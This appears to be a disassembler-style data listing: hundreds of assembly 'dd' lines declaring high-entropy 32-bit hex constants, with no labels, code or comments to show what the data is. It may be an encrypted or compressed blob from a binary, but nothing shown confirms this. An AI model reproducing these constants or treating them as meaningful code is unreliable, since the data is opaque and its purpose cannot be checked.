dd 701A8204h, 0C0425B05h, 0FE05E0E0h, 20372E7Dh, 0C1D74CFDh
dd 0E5AA07B5h, 0E22DCC20h, 0DAF49F09h, 4BAD8757h, 0BE6C19Ch
dd 4D026521h, 726B9054h, 5C61FDDh, 8927F945h, 0E9C26A7Eh
dd 139D5CE5h, 62EBA621h, 0D8E0E979h, 0CB5EBF87h, 0F6B2775Ah
dd 53DCC77h, 0BF5FD268h, 0F7DC8041h, 0AC28111Bh, 0C412BD7Bh
dd 0A8169F13h, 8BDDE11Dh, 0BA7DE25h, 336023E9h, 0CD5BC980h
dd 3C73BCBCh, 12FF03E1h, 0B34F682Fh, 0FCB23BE7h, 143E0133h
dd 0E0D88258h, 990A2B9Fh, 0CEB59876h, 5B813438h, 0C77EF4D9h
dd 5C748BE1h, 0E76858E0h, 0CDD59E70h, 87283ADFh, 8F5A56D6h
dd 1F5BF740h, 0D44D8E18h, 841C0C6h, 847F352Fh, 0B163BCD8h
dd 616A7EE9h, 36EAB2F8h, 6ABD1120h, 3E684E62h, 0A1AB88AFh
dd 0D8B05DF0h, 75325878h, 0F5281061h, 5AA98D60h, 0FCE4E7FCh
dd 59D6F9FEh, 2C5312AFh, 0FC27E96Eh, 0F599BA33h, 1168F1C8h
dd 4CB13253h, 40602E4Dh, 0F7A65C99h, 96880CB7h, 0C678B3A8h
dd 6B52BFA1h, 8BEAE516h, 0DDE9093Ah, 9992FD1Ch, 7E3236C0h
dd 0C34F6024h, 701CD01Dh, 0C7F3007Eh, 1A42604h, 685AC4DAh
dd 9F69AC6Fh, 299EBAC1h, 0A87A8976h, 53E44F79h, 15872FE9h
dd 51E02176h, 996A9C68h, 13ABA62Bh, 71C9E33Ah, 77445E1Fh
dd 1A2BD34Ch, 0EEA1A15Fh, 564EB42Bh, 200A589Fh, 0D5929BE8h
dd 1368590Bh, 2A9CD537h, 0C0299Dh, 913F0FABh, 565A0517h
dd 0A9312968h, 290325F9h, 0C5E25DE3h, 5F9D6277h, 289B2118h
dd 0FECB3080h, 1F1B68B3h, 0E4BF0191h, 216C8316h, 39F22BB9h
dd 448EFAC9h, 697F2157h, 0A8A80516h, 0C7248005h, 5B96A8D1h
dd 0AFB52CECh, 87EAB153h, 53E941EFh, 7845A53Eh, 0C2909D0h
dd 0C070AFF1h, 121C215Ch, 0E8CF2541h, 1777680Eh, 1DCBFB17h
dd 5FAAE64Eh, 71E9FBC8h, 0EA2BEFF8h, 1703B521h, 0F6670B0Ah
dd 68DBE8FEh, 0CB0B4F62h, 4A18587Eh, 0D1E293BBh, 734911BAh
dd 30A62180h, 53BF877Bh, 18FC2DCDh, 7670369h, 0DE9C9A53h
dd 74B90012h, 0F70C1438h, 0BDCD158h, 2EBC78Fh, 0FA865413h
dd 75160C25h, 850C3895h, 4477314h, 936302A4h, 0F789BF5Ch
dd 0BD8150E5h, 8277A366h, 6F9C17Fh, 0F501DC9Ch, 8817AB0h
dd 5776E2E9h, 93EE8000h, 0EFED6F6h, 4E6C0C6h, 0E907857Eh
dd 0BFA9952Ah, 1779F8F0h, 541CB86Ah, 2305D1ECh, 0E8095B50h
dd 0F6B051F1h, 8E685568h, 508C5A4Eh, 616C0E33h, 0AAA9E94Eh
dd 0D30948FBh, 2DA76611h, 8A27CB7h, 1EDF583Fh, 8013FCFCh
dd 6C120ABFh, 66041CE4h, 0CDEA585Fh, 0E95050D8h, 7D97B118h
dd 0C85F1A32h, 1BCBAA9h, 0B93DA11Ah, 0F6882CCBh, 0F08E4E5Dh
dd 90E916F9h, 0C721FE54h, 0A93EC507h, 860592F1h, 5DB20CEAh
dd 9DF0C13Ch, 6C18437Eh, 4D2068B7h, 968EBF73h, 0A2662510h
dd 9F513F0h, 0FEA8A9C9h, 0E492EE55h, 6C1ED4D3h, 75F4FB10h
dd 10BF662h, 7965FE8h, 58989180h, 56E1000h, 54DF2316h
dd 2DE82829h, 565D0407h, 0EA7B33BEh, 2510181Fh, 0C940481Dh
dd 6D7402A5h, 53459BC2h, 0C1551395h, 50D9F22h, 0C1D149B0h
dd 0CD4E997Eh, 5A0C8473h, 42C29F0Ah, 5A7658BAh, 1E3AD85Bh
dd 0C45C8140h, 4E8A350h, 0B3EA5854h, 0B5A84BFh, 59CA3102h
dd 7FC3BA77h, 6ABFD102h, 0A380A554h, 9776C7Fh, 475B30DFh
dd 4E79E414h, 263444Dh, 1E3B43F3h, 0C5C3FF69h, 0E999EB9Bh
dd 5B2F2CC4h, 0F7139C16h, 0CF120AA8h, 55E82078h, 51508C2Dh
dd 590F4D25h, 4DE989B7h, 0D4D9F3E1h, 2D744BAFh, 1CC15527h
dd 87B82E57h, 8B56DEA1h, 715C69C7h, 7EE68049h, 0FC686A94h
dd 21EA7C0Bh, 830AF75Eh, 4F1A03E4h, 3A2C2978h, 73AD8896h
dd 0C2E4EEBDh, 0E9709002h, 0D9C0FE85h, 6D1673EAh, 0BB49666h
dd 0B77C9DFAh, 7256C62h, 13CE24Fh, 87D5F700h, 0BDEFFEEEh
dd 0EF354F05h, 2F6851E0h, 14FC02DAh, 62BA50h, 0CD817DEEh
dd 616056C9h, 9136998h, 77021189h, 0D05ECFC7h, 28CCECB3h
dd 27A9BF0Ch, 5D76EF2Ch, 4E166858h, 0D08E314Eh, 5903EAh
dd 3D185672h, 0D8F58172h, 545E407Bh, 0AA9770B8h, 0B6521A00h
dd 4CC6805Eh, 7BA572h, 45AF030h, 42C1E991h, 5C2F9093h
dd 7CF6AF67h, 77DC7752h, 496BDD51h, 0C065C58Ah, 5C0B4FA8h
dd 85587F7Dh, 19A40CA4h, 81C027E9h, 2088B048h, 893F20B9h
dd 8939ED11h, 8BA8893h
dd 56CD6809h, 0D2BA897Fh, 7F6BCCF4h, 7A5BFDE1h, 803D4CE6h
dd 0E2AA33E2h, 60089008h, 5AD013Fh, 0CAF72B2Ah, 859B7E55h
dd 906ECAE9h, 28C3F63Ch, 13C3F34Ch, 12903D09h, 5F6B7BC8h
dd 4A05FF74h, 34BF8D5Dh, 310F37Ah, 0D64E29B9h, 1928383Ch
dd 77DDFB4Bh, 94618DF4h, 0E462B110h, 3EB6D1D3h, 413758F0h
dd 112A889Bh, 0F389092Dh, 6B43BE49h, 0C707F3E9h, 0B460DB41h
dd 0AB7ED570h, 384A01CAh, 6812599Ch, 2A8C2012h, 3C6909ECh
dd 0DAD55176h, 0A45F5A84h, 0D4691490h, 95038179h, 0C26A8AB4h
dd 49DC05D7h, 11CC96BEh, 0FE2E399Dh, 14F70244h, 0A6D11B0Ah
dd 0B364019Fh, 65296054h, 26A1CCE3h, 0C7BD230h, 4C12F858h
dd 0E91F9702h, 5D38B287h, 70A707Dh, 1EC6C30h, 6F172668h
dd 0E4953D98h, 8A515BC7h, 7BB004D1h, 1FECC188h, 5E1C0A0h
dd 0E9C9FE1Fh, 0F6BA002Dh, 2B050DDh, 58C53096h, 83DEE828h
dd 211A088h, 7470F0B9h, 2BBCE0F7h, 35EA2F38h, 0AAAC0475h
dd 0F8EB0694h, 0A4CFF12Dh, 69D6412Bh, 0EC587A6Ch, 59979578h
dd 0F9C4CF1Fh, 0DC9CE55Eh, 0ECB6B3Dh, 22E18049h, 9048C913h
dd 3F5EDE5Ah, 49A43E41h, 70D5E78Ch, 12030699h, 61EE2EB9h
dd 2EF78DBBh, 9E9489F3h, 0F4901A84h, 84127DC9h, 0F61EFD33h
dd 0F4FD4CE7h, 0D09FCC8Ch, 5361AD0Eh, 0AB44C339h, 5AE53FE1h
dd 0C11CA82Ah, 89AEB8C2h, 0F235D0D2h, 57D702EEh, 0CE014E60h
dd 76746C40h, 0BA28BF28h, 0A0E1630Fh, 3FD0C825h, 558ADC58h
dd 5B2010D4h, 794865ACh, 0AB1ADA07h, 0B75E22Dh, 30659AFh
dd 519F104Ah, 704ECCCCh, 37E8465Ah, 4ACA68E3h, 0DB643A54h
dd 0DAAB9C94h, 0E1944A27h, 13528EEBh, 1EF25FF8h, 0B8C06652h
dd 5ED46F9Fh, 3F8EE91Ah, 8722D7F5h, 5101ED31h, 0CB7C4668h
dd 0BD8D12DEh, 0FB8009E8h, 0A186CCFEh, 77EAF5D3h, 65C5D1F6h
dd 2CBF0494h, 0CA39FEB0h, 0D71E2580h, 40E85EC8h, 9530612Ch
dd 97637E03h, 380C0042h, 53646527h, 0B39D62E9h, 0C05A4B48h
dd 8D31C393h, 2815415Ch, 0ECDE07F3h, 0D2894F5Ah, 0EFC5221Eh
dd 0CD38D1B5h, 0A0CA7E5Ch, 4E304610h, 3A4842F8h, 0C7B21707h
dd 0AABEEAFh, 71658C5Eh, 0CE4830A8h, 0E91B3513h, 0C4FFD314h
dd 8E74FE78h, 9E01DDFCh, 59134F45h, 0C3716153h, 0CC5F5FCAh
dd 3D1AA9D3h, 5C502DEBh, 0CA0B046h, 0C5124EF1h, 42B44F41h
dd 91365FE5h, 9710B008h, 8EFDEA95h, 0C26A4842h, 45C3476Eh
dd 0B1E4FA43h, 8B3D17D9h, 4C83ED12h, 3FFF2EC6h, 108FD42Fh
dd 70B04F20h, 0ECD8E0D2h, 0D504395Bh, 98DD7525h, 809E1814h
dd 1F4BDE68h, 0C521A531h, 0A1B1E804h, 0B1059612h, 0C4B02F30h
dd 700B9D97h, 7CAFF9DBh, 0C6B8786Eh, 3FD31902h, 0BE53EE9h
dd 0DC25B85Eh, 0BF587A48h, 75D2D949h, 22EEA324h, 34C80939h
dd 0C1F0D5B8h, 0E897232Fh, 0D25EF57Ch, 0B37C0106h, 0E6597361h
dd 25C447DFh, 971747D1h, 0B8738CEBh, 0F547753Eh, 283F0502h
dd 81352915h, 484FA8C1h, 111D3D8h, 1705499Eh, 31803293h
dd 9DAAF87h, 0A09CD784h, 3CFF555Fh, 0E93E5C39h, 0E6315A0Eh
dd 5003FDE6h, 7B1B2AF1h, 0B3161CF7h, 0D0140AE2h, 17FB24FAh
dd 0D888E61Fh, 967CE96Bh, 8B792D1Dh, 8027F258h, 1F1EDC2Dh
dd 0BF8918F7h, 0C606FEABh, 0EAFC278Dh, 313B429Ah, 9FBE93D7h
dd 0F8687B42h, 2CF95B16h, 0C1BB1667h, 61E528B5h, 8CB23B65h
dd 7B5166A1h, 5982195Dh, 0D405EDC0h, 60B25130h, 0EE73CAA3h
dd 662DEA00h, 0E935B450h, 0CF819507h, 3C5BB168h, 0EF4D3E6h
dd 0DC4AE9h, 5FCC68F1h, 3690607Dh, 4E2C920h, 2DE6D8B9h
dd 2FF5F052h, 37A6E15Ah, 0C756267Ah, 42DEC251h, 6FB159DDh
dd 1C596EC6h, 0FF054Eh, 0B5B951C7h, 315C4D2Fh, 59B006ECh
dd 1F0C75E6h, 655D5BE3h, 0C81482D7h, 6F545F2Dh, 5FBA4E2h
dd 5CCBBA21h, 40823505h, 1F830511h, 535B8C45h, 0E2BDBB5Bh
dd 0FF5AED5Dh, 0B9AC9616h, 0F3325986h, 60BF954Ah, 1D3D5DFFh
dd 0F15C1979h, 4E804E3Bh, 5C0520BBh, 91108A78h, 9A05B8Fh
dd 404C981Ah, 480D40B9h, 431D8F7h, 4A087FFFh, 44C7E12Bh
dd 0F7F7AE67h, 2114151Ch, 2258163Ch, 496AD1CDh, 0CC745B84h
dd 3EA4D896h, 4B20438Ch, 4F9F8ABBh, 0D8E786E8h, 0B9B8D7D6h
dd 0FD0589D9h, 270B65ABh, 0EA5ED04h, 6781F331h, 7EE461E7h
dd 4BC52D68h, 6B596998h, 0DF1D0C27h, 0E9EF3502h, 27E6D675h
dd 0CD82FFCCh, 0E9346E16h, 8DA8D452h, 68173C22h, 64614A0Bh
dd 14E411F8h, 440D0140h, 357D6836h, 12C2DEB7h, 383C835Ch
dd 9B19763h, 0F27117BBh, 40D0C4BFh, 5226BF01h, 6CA16B75h
dd 133673CCh, 0B451E948h, 0DD5F87C5h, 8B8422EDh, 7C5D0946h
dd 19653C4Ch, 3EB3B1A9h, 925CFE0h, 19D938F2h, 0CF5FA087h
dd 92B7BAB2h, 8427AC92h, 37EB0F5Ah, 7714922Ch, 865A83DEh
dd 1F1B6F22h, 0DE465BDEh, 794547CEh, 8B7F7911h, 0EE884033h
dd 0ADFF13FCh, 53DB2A1h, 2EE95453h, 1E1DA395h, 775785C9h
dd 2F0CA779h, 454C6D47h, 4A182265h, 504EDB05h, 92C750DCh
dd 56B13F21h, 2838B00Bh, 33DAF8E3h, 6A03B908h, 0B067A048h
dd 2502DCEFh, 1E555BF2h, 85661036h, 0EAE114C8h, 9DAF4EB6h
dd 81E07F64h, 0BC8D7FB6h, 6BA84396h, 0EA41C376h, 45821F31h
dd 5BDF315Ah, 4A8E355h, 740E2996h, 3ADA101h, 0B3033888h
dd 0A06D8CF5h, 0A50C0037h, 99BADBBh, 83735DEFh, 0B0658C5h
dd 0ED5EA4B2h, 6AFA04EAh, 1DEC65E5h, 0F53D1E09h, 2DE71528h
dd 292A85F5h, 0A0C9DF82h, 15D5BFC7h, 0BC665E17h, 361A040Ch
dd 0D2BF6344h, 0F4759831h, 0E9F12711h, 0DBD2A6A8h, 0DFEA0F17h
dd 0F2067DECh, 16FC1E8Fh, 0FD344E7Ch, 5F5EB678h, 5A4EF210h
dd 5E271ABDh, 0F99F2E50h, 8B1001Dh, 0F0890C4Ch, 9B3E913h
dd 0BB35AC40h, 0BE6A82C1h, 0EDD101CFh, 4A3B7AE9h, 0C36D484Eh
dd 175F2958h, 0ECA48372h, 31ABA530h, 28236BB3h, 369DA0E9h
dd 93C34A8h, 0EAE10278h, 0AF80A37Bh, 100CE4EDh, 0C7E05E4Eh
dd 13655EE9h, 779BBEFAh, 0E9F1715Eh, 2FE57F34h, 0FEFE176Fh
dd 1C8BC6C1h, 0F5CDFC7Fh, 0C9DC2CAAh, 84638149h, 224658A1h
dd 0C67A65E5h, 0BCABD397h, 94B5F4DBh, 5072EB49h, 0CB13D2B1h
dd 0D7A0FBD9h, 0ED224F37h, 1E9F8666h, 8360FC61h, 0FA0895D7h
dd 0A1F63F67h, 7F698E7Fh, 9FD0FA57h, 0D9B4CA9Ch, 84668925h
dd 78FD3687h, 2E01AE10h, 1E09D7F7h, 15EC7D8Fh, 18D8A227h
dd 8150C2C1h, 0E1C23A5Fh, 0BCEC4BFBh, 9DDB4EB0h, 5F3905C6h
dd 0DC652D68h, 6489D21Bh, 904E46D7h, 53C04062h, 96685702h
dd 0D52F5D29h, 0D6193BB1h, 36F009E6h, 5F48AB4Bh, 2394BD02h
dd 0A0D369B6h, 5E413143h, 93E44045h, 0F0EA4A87h, 0A3316841h
dd 0A5F74346h, 92B15D03h, 580C237Eh, 7CB0994h, 415B02EBh
dd 2F50966h, 276C635h, 6BC1E1F6h, 84166821h, 9EEB7168h
dd 74A94B1Dh, 0D7D5E8D2h, 0AE4E52FDh, 522905DCh, 0F82DA1C5h
dd 87F8FDC3h, 0F8BDBA06h, 7E0504E8h, 0ABB9A4CDh, 0C35AB7A4h
dd 2AB652CFh, 0EEE1F382h, 16D36DA0h, 89301628h, 7C079B3h
dd 0EB8005E3h, 5CCE3EB4h, 8694F3C0h, 0D163F6CBh, 31C3FE08h
dd 5C1C0828h, 2DFA3A28h, 54817AD0h, 0D13A8A40h, 517A63DDh
dd 0D658566Fh, 3E91B60h, 41002D96h, 4E2EC981h, 0FA027669h
dd 0AF681F3Eh, 36F1010Ch, 7F6F782Bh, 14BB7713h, 2D249D3Bh
dd 32688494h, 0EE2AD828h
dd 63552913h, 0D39141BAh, 0D82C9D1Fh, 5A17A4E1h, 0E6017CD6h
dd 6DEEF5Fh, 211F83Eh, 2321E0C7h, 0C29F4860h, 0CBDAA909h
dd 0B8040C7Ch, 8734782Ah, 6FD56733h, 0E9EB2921h, 0F449CA95h
dd 0EE29EEA6h, 86E92EE6h, 0E3818031h, 4BE242DCh, 10D3F730h
dd 7E400AC3h, 6FF31650h, 21E1003Fh, 3913E9DDh, 3EBE65B5h
dd 8321F325h, 2C02C368h, 807CC195h, 0CB7AF3E2h, 0ED1113F2h
dd 7C1059E3h, 5ABD05B6h, 3B80D001h, 133E3ACDh, 1455DCCh
dd 135872F0h, 0C14A8324h, 13C6D1Ah, 0AAF92218h, 20EE01D9h
dd 72402AA9h, 37090968h, 10031327h, 50EFCEEBh, 0E9DF89ECh
dd 8C0DD031h, 0BD28C230h, 9878BBA7h, 7FD3C4B5h, 0F4A74BE9h
dd 503070Bh, 4973B672h, 6DF4CF89h, 0AF7316ABh, 680A4B8Ah
dd 648E3C35h, 0E4ACAA54h, 0DF9357E8h, 5E9EBF32h, 11032733h
dd 0FE8410EDh, 8BA1B3F2h, 5ABC4C2Ah, 0F4525626h, 8DF08A16h
dd 387D9D5Ch, 187EC11Ch, 0C51FD09h, 27052EB2h, 56E92975h
dd 0F1039182h, 17052676h, 4BAF9F5h, 7E54DFA8h, 9C4085E8h
dd 0F5E91703h, 7BC1E759h, 0D606F627h, 0C3807049h, 0B0E494Dh
dd 2971F4E9h, 98CB0016h, 73A25Ch, 3807CE81h, 70E90EEDh
dd 524EC6Bh, 62E8E555h, 323DF305h, 57D1C06Ch, 0A5E823Ah
dd 0F55ED809h, 0F66F2E51h, 0E0FF4604h, 0AEACB605h, 44EC9AA1h
dd 0E87CBE0Ch, 0ABE8C9D3h, 8980D785h, 416EEECAh, 0BB097B24h
dd 4B5ED838h, 9381F25Bh, 0AEE671FAh, 136867DDh, 0E4D189CAh
dd 810048F2h, 1EE0A7EAh, 4EE395Bh, 0C35FF971h, 14881F6Eh
dd 32DE412Ch, 0B57E3F50h, 401600A5h, 641C68C0h, 5D5D7079h
dd 3AB2509Fh, 4EB80402h, 0FE2115E9h, 0D126B98Dh, 7B34829Dh
dd 82803F32h, 78F31895h, 0F125E97Ah, 0AD1157FEh, 4C322F07h
dd 10C35688h, 0C1800F66h, 3D24044Ah, 4B108ABAh, 7B8E71BFh
dd 5C8C6B92h, 0F4E241D8h, 78D2E4B8h, 0CE077EF9h, 60667C75h
dd 142728C3h, 10EE635Eh, 445E08F7h, 19C85B84h, 4C210278h
dd 96B7BD11h, 487D7D9h, 3FF2EF80h, 82B697ECh, 10F92837h
dd 0DFB75353h, 335B0E0Fh, 840E2452h, 8DEA64ACh, 0F1C561E2h
dd 393B4E7h, 6DBB0905h, 0BE00EEC1h, 474559F6h, 1C0CCE31h
dd 687BC4C0h, 0F299387Eh, 82B589AFh, 0F2170B4Bh, 9993985Ah
dd 6EC70882h, 0EA2C5C26h, 0F5FA2892h, 5B7EECB2h, 5CB816D3h
dd 1FCB9540h, 8A671E3Dh, 83FA1726h, 76BA52DFh, 6A463EE1h
dd 0F8DE1EE5h, 0EBD0D328h, 31485BCAh, 4F3EEF10h, 0C13449BAh
dd 0CD562077h, 580E03DDh, 4510DD4Fh, 0AD582754h, 0D60008D6h
dd 5843AEB4h, 0F25638Ch, 5C42EC7Ch, 3BC4F566h, 0FEE3B912h
dd 688387A8h, 0FD107FE6h, 5F098E99h, 8FDC5401h, 65195860h
dd 9CD997Bh, 287480E9h, 2D2F12BBh, 8B9F54F3h, 0C4FDF56Fh
dd 0D8D9B7CAh, 0D8A6325Bh, 707735E7h, 5CB3B877h, 77119250h
dd 3DFB4B3Ch, 58F22FFBh, 5C169192h, 43302AEBh, 7D90E110h
dd 9275B11h, 13FD5A21h, 6C3FD9D0h, 8402E23Eh, 0B9160116h
dd 42832754h, 58867657h, 93025DAFh, 0FE9477Ah, 813054E5h
dd 622CAC5h, 0C7427A01h, 40BA7CA0h, 1ADEEA68h, 180E3036h
dd 0E978485Fh, 0FE504B54h, 0A5A66037h, 59BE077Dh, 0A2725C54h
dd 1355795Eh, 0C806C282h, 3B65263h, 40B1510Ch, 0E22DE180h
dd 5A1987BBh, 2F6C032h, 0FC5DE6EBh, 589580Bh, 47D3799Fh
dd 0A87BFBEDh, 8A808112h, 9685658h, 3E640B0Fh, 0E27C7790h
dd 939374D2h, 0B6A15A20h, 9392016Fh, 57E9FB87h, 0ABF2C52Fh
dd 0E9A180E2h, 95166B3Ah, 5E6A1040h, 69BF117Ch, 840B0B6Eh
dd 0BA4AFB50h, 0D44584BFh, 8A61EB79h, 322B5D9Ch, 4BD94069h
dd 0E29FE98Bh, 0B2FDB92h, 44F53B4Bh, 0F4F2A05h, 0BFF15E99h
dd 0D4BE3C12h, 5B2CEA15h, 163C32E9h, 9BFD6C35h, 5C47E912h
dd 0F53AC049h, 75D12262h, 5B580640h, 0E1531589h, 478F5D0Ch
dd 0D995DDC2h, 0A539285h, 0AD976D00h, 98B47BD0h, 33FDE00Eh
dd 2FE9DAE0h, 0BD73CAD4h, 0AF33BFBDh, 68C369FEh, 0E32F7ECDh
dd 75EADA10h, 2C1F43C7h, 8441B6EFh, 0C4F14AABh, 1CE856Ah
dd 0E1C05860h, 2F95F407h, 0B0DEE69Ah, 1624E40Eh, 2DF69CEAh
dd 3EE9198Eh, 70E7C3FCh, 7F9709D0h, 6817DDB4h, 45643C38h
dd 0CFBDAFD1h, 38668004h, 36486B6Dh, 1359053Ch, 12AF2561h
dd 5AFDFC8Fh, 8DD13F0h, 1B32E7Fh, 8B0AED24h, 25022232h
dd 0C0E7FA56h, 307FFB6Bh, 0D8181986h, 50979967h, 5C7609E0h
dd 0A8DD0452h, 4624086Eh, 0D6E0C60Dh, 130D1E3Bh, 5D10491Ch
dd 0A32774FAh, 2556E43Bh, 930912E9h, 46AF1A65h, 9B68126Dh
dd 5FEAE33Fh, 62483FF9h, 0BFB85017h, 0BF3605C6h, 0E925D97Ah
dd 93CEF41Ah, 9464EAF3h, 0C9EE8485h, 0CFE9D824h, 0D8E38C4Bh
dd 0B6B1707h, 3A09DF2Bh, 3A025413h, 2AE4E1EAh, 0D2F15536h
dd 78032560h, 5080B42h, 81A3B801h, 8D3BF6D6h, 4CDABCD8h
dd 0E5B7A7DCh, 0E4A0B01Bh, 159895F4h, 9824D98h, 0B4985DEh
dd 8807BFB8h, 295A59CFh, 0BABC5DDh, 0C02356E9h, 0ADB9F531h
dd 0D6334803h, 873C8E42h, 2EDFE218h, 86A18357h, 0A5496B01h
dd 75C25813h, 9FC8E0B1h, 0DC4B1CE4h, 0A24AF2FDh, 49BE358Eh
dd 89A8E2ABh, 701E9A66h, 0F965B7E9h, 683EEDA0h, 48598673h
dd 0BD0D632Dh, 80E320C8h, 0EABAF788h, 4B555CD7h, 1252A24Eh
dd 62C8D9A1h, 49EC2768h, 0D527DE53h, 0AF40F460h, 496364Ch
dd 506E7B25h, 68EC05EEh, 3041A213h, 3C2E2E5Ch, 176B9E3Fh
dd 7614BDF8h, 2EE8044Ah, 47E9FBB2h, 0F0416B49h, 0BFCEFA26h
dd 528EE07Ah, 0C5B9774Ah, 0CAE259C8h, 2D26D37Ch, 320946ECh
dd 0F619125Eh, 49A68436h, 0D2C3BFFAh, 8018F16h, 0EE3AD701h
dd 5F29682Ch, 0C413E974h, 37F9FC48h, 5E49E94Fh, 0FFBD52EFh
dd 94C4C0B2h, 0F20392B1h, 13FBD6Ch, 940399CAh, 0C704D1Eh
dd 0C97A9BF4h, 13DE7284h, 0DBDEE7BCh, 68D9C4A0h, 4C77EE54h
dd 0D25B161Bh, 7F4EFE74h, 5C24D0C4h, 0AB85139Ch, 0EC7BFB8Dh
dd 0A3FFB5A8h, 0FD2577D2h, 2D80C6FEh, 0B2E66470h, 62148D5Eh
dd 63160053h, 5759257Bh, 5550010Ah, 0A60967BDh, 5A54CE71h
dd 0D673CB00h, 0B0D8F712h, 456B006Ah, 14053DD0h, 2B4F8D67h
dd 70128E1h, 0B93E095Fh, 4EF04BF3h, 25A3B4BFh, 0D6FA8C94h
dd 0CD4D5CB6h, 0DFA230ECh, 0BE1DE16h, 30D7670Ch, 17EF732h
dd 4757B86Ch, 7B3E15E9h, 6B7BA1F7h, 827D1793h, 0A0F470FDh
dd 7FA7E6CDh, 516200FBh, 2A3F6852h, 30903392h, 710FF202h
dd 0E2891042h, 0C7AFD71h, 0A323FAC2h, 0DDBE62F6h, 38325F41h
dd 0B85E0239h, 697185C3h, 637C5B95h, 7A56614Fh, 275F406Ah
dd 514CC42Fh, 0C460416h, 10D386C2h, 6E5C6089h, 7FFA4879h
dd 55F2055Ah, 0FACF9F13h, 0F0210731h, 21D38F77h, 0D6F4663h
dd 9C7C5020h, 76E1631Eh, 84C79F01h, 2906165Ah, 0ABF2A02Bh
dd 8FC50764h, 0BF5E68ACh, 801C1668h, 0B74BE9E3h, 0C130FE87h
dd 0B728ED49h, 67FEE344h, 411DF796h, 0F6427393h, 0D61CF368h
dd 4B8B679Ch, 96201464h, 13AEE6B8h, 1E40F77Fh, 494E9267h
dd 0A58BF3E1h, 11CE90D5h, 10599D18h, 0FB5DEB42h, 58C30990h
dd 0AF077B5Fh, 5972C87Eh, 0C0EF494Ch, 0D3F7E90Fh, 6C240046h
dd 93E02715h, 29DB9C55h, 0BCB3DC7Ch, 0A0891D25h, 91EDAAFCh
dd 66F0CB04h, 31C905Eh, 5B461C9Ah, 0CF1FE21h, 8BB32EEDh
dd 68FD5D79h, 0D2E58101h
dd 403CA454h, 91133187h, 89254D00h, 3578AE36h, 0FA3824BEh
dd 0FD2E15B2h, 323C294Eh, 54871653h, 0AF4174AAh, 4B1D77ADh
dd 927E7C87h, 9FFD9A26h, 15022360h, 5DA583B4h, 0ED580004h
dd 0DBA4A96h, 0D1505E0Fh, 3BA36E03h, 9E10FE4Eh, 12FF5B08h
dd 57CCD06Dh, 226084E9h, 6F38F6F3h, 89632694h, 59DFA1F7h
dd 5D403BD5h, 0A60A94CBh, 13F3EC0Dh, 2BF1BDFh, 0A32EB784h
dd 12203A60h, 3877C2E1h, 0F57868B0h, 39BF518Fh, 0FE7465FCh
dd 256F52C9h, 38E16866h, 57132AE6h, 21E1DAF9h, 4A7A92D0h
dd 802AA1E1h, 0BF78063h, 8B9719F6h, 4C2189BAh, 9CA29513h
dd 45462954h, 1D9443F0h, 55685904h, 248BA3FBh, 0AFAD4566h
dd 4C8C263Dh, 0C138312Eh, 62DB1E4Eh, 54B3D81h, 0EF01AB5Ah
dd 1E0865AEh, 269C8789h, 55E20A1h, 0AC027C7Eh, 5C9B2D38h
dd 0F8E1E184h, 94078FF2h, 13094911h, 1A915456h, 0A83BF176h
dd 12DE8454h, 5DD908D2h, 0D45B3F16h, 0E66ED1B1h, 0C829C805h
dd 445D4280h, 0EB8C07EBh, 377CABFDh, 0A7F7E321h, 65507073h
dd 0ADC7F901h, 520977E9h, 0FCCD255Bh, 0B25D3052h, 0C7680918h
dd 0C17C9B4Dh, 313B09E4h, 57FDF14h, 3905B3B8h, 8701BC1Bh
dd 8548E1Ah, 0ABE0C60h, 60C963F3h, 0BD7E4127h, 4863FFFEh
dd 3B4372D1h, 40C91B98h, 5309B86Ah, 7790A2E3h, 84311004h
dd 0D13BE42Eh, 6C93FE9h, 6D3A987Eh, 0ECA34A5Ah, 8D363C09h
dd 7700575Ch, 0E96F121Eh, 0D45E5340h, 45FD6805h, 2A7CC109h
dd 9A3996h, 42DD0CA6h, 3D7DCF81h, 0D8E0F436h, 343A26E4h
dd 97217895h, 0F0ED7070h, 0F8611BE9h, 97C3803Eh, 0D387FC6Fh
dd 0E8430BDh, 0FFB81378h, 0A5CB4626h, 5BCB05D5h, 4B1A9DB0h
dd 16D4E9DBh, 88FFCA97h, 49B77FBCh, 0B141545Fh, 892A9136h
dd 3D3430F8h, 104FBFEAh, 0A2409BEDh, 5D909856h, 0EB97FE28h
dd 0D2F12B52h, 0A8CFC53Bh, 5D08D265h, 0E208863Ah, 93277066h
dd 920D5941h, 0C1ECF095h, 35EF31E9h, 68ACE090h, 9BA3914Bh
dd 9C92503Fh, 0B6EE527Eh, 0CBF92659h, 0C744C0A7h, 71E66228h
dd 5FDA51CFh, 0FE2FEB27h, 1014516Dh, 80FED921h, 3D182DC1h
dd 920C286Ch, 7672F78h, 0CC270140h, 63836D3Bh, 0D908E1B4h
dd 97BDD245h, 12C907BFh, 0BDBBF04Ah, 0B7FEBFh, 3E7FB02Dh
dd 0E8282979h, 50BD0705h, 5771BDDAh, 0C182CDCFh, 5A76506Dh
dd 4C8E2F84h, 6AA884B0h, 0CEDD3104h, 1F61228h, 40F775F4h
dd 1F1EBE4Ah, 5DA79080h, 0C9EB8684h, 0D1A26AF9h, 0E188BBA4h
dd 35EB0468h, 0C45F1741h, 7CA2AA4Ah, 685AD180h, 0EE863DE9h
dd 436C6329h, 57107BD2h, 47258ECFh, 0C30F3372h, 3F62E85Ah
dd 0A4E48DCBh, 36444416h, 57EB402Dh, 25413A15h, 875AE3D1h
dd 0F6987E3Dh, 0DF86E909h, 4B92FCFEh, 51D760FDh, 0E3DCBFB9h
dd 0F7591C32h, 27E3C6F9h, 0CB81346Fh, 8B4FA5Eh, 0CD0D62E7h
dd 7054225Eh, 692FE950h, 5603190Fh, 3104ADE1h, 4DF61784h
dd 0EAF919C3h, 0BBAF5E9Dh, 0D056B40Ch, 77401F7Ah, 0FD8AA066h
dd 0C5CDFF99h, 70F52B80h, 68394F2Fh, 46721227h, 0F95659EDh
dd 942A05Ah, 9287E2Ch, 0D85108h, 685366ACh, 19972231h
dd 0B42E4B6Bh, 0CA09808Ch, 0C391E99Ah, 63F1C1FBh, 162B7AE1h
dd 0E1DBA919h, 307CF8E9h, 2296BA00h, 0D58946FAh, 83B2ACF8h
dd 15EE51F0h, 0D52F429Ch, 0E90BA215h, 0B139CB05h, 0B5D7BF7Bh
dd 5BD3DEEFh, 2CBD01FBh, 0F7E8284Ah, 5E3F5A7h, 0B98A39DFh
dd 7368B0AAh, 8649CA38h, 0F96BA7C5h, 840AF1C9h, 0E58681Ch
dd 5CA5CFBBh, 55512789h, 0CCEA92B4h, 5A0DDA5Dh, 0BE5BA3E8h
